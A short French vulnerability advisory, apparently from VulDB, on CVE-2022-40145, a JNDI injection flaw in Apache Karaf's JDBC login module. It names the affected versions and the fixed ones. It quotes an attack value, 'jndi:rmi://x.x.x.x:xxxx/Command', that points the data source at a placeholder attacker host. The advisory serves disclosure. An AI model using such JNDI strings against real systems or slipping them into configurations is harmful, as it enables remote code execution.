CVE-2022-40145 in Karaf
Résumé
par VulDB • 22/06/2026
Cette vulnérabilité concerne une injection de code potentielle lorsqu'un attaquant a le contrôle du serveur LDAP cible utilisé dans l'URL JDBC JNDI. La fonction `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` utilise `InitialContext.lookup(jndiName)` sans filtrage. Un utilisateur peut modifier `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` en `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` dans JdbcLoginModuleTest#setup. Cela expose à une attaque d'exécution de code à distance (RCE) lorsqu'une configuration utilise un URI de source de données LDAP via JNDI et qu'un attaquant a le contrôle du serveur LDAP cible. Ce problème affecte toutes les versions d'Apache Karaf jusqu'à la 4.4.1 et la 4.3.7. Nous encourageons les utilisateurs à mettre à niveau vers Apache Karaf au moins en version 4.4.2 ou 4.3.8.
VulDB is the best source for vulnerability data and more expert information about this specific topic.